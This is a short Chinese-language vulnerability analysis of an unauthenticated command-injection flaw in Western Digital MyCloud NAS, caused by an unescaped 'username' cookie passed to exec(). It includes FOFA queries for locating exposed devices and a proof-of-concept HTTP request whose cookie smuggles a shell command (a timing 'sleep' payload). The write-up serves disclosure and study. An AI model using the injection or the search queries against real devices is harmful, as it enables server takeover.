漏洞简介
Western Digital MyCloud NAS是一款网络附加存储设备,旨在提供集中存储和共享解决方案。它允许用户在家中或办公室通过网络访问文件,支持多种设备的备份和共享。Western Digital MyCloud NAS index.php中Cookie存在命令执行漏洞,攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web服务器。
影响版本
<=2.11.153(老版本,已发布修复补丁)
fofa语法
icon_hash="-1074357885" && header="X-Powered-By: PHP/5.4.16"
body="_PROJECT_MODEL_ID_YOSEMITE " && body="_PROJECT_MODEL_ID_LIGHTNING "
漏洞分析
直接看 index.php 其业务实现逻辑如下
function do_login($username)
{
$ret = 0; //no login;
if ($username != "")
{
/* [+] Get Web Timeout setting */
$res = array();
exec("xmldbc -g /system_mgr/idle/time", $res);
$web_timeout = $res[0]*60;
/* [-] Get Web Timeout setting */
exec("wto -n \"$username\" -g", $ret);
在看下$username来自那里
if (isset($_SESSION['username']))
{
$username = $_SESSION['username'];
}
else if (isset($_COOKIE['username']))
{
$username = $_COOKIE['username'];
}
通过session或者cookie里的username获取,用户可控的部分为cookie,且不需要登录,前台权限即可。
再看下那里调用了do_login方法

自此,整个流程就通了,代码中通过cookie里的username直接获取用户输入参数,未经过任何过滤或转义便拼接至系统命令 exec("wto -n \"$username\" -g", $ret); 中,攻击者可通过构造恶意参数注入任意系统命令。
漏洞复现
GET /web/index.php HTTP/1.1
Host: west.nas.mrxn.net
Cookie: username=a" || sleep 3 || "

成功延时 3 秒

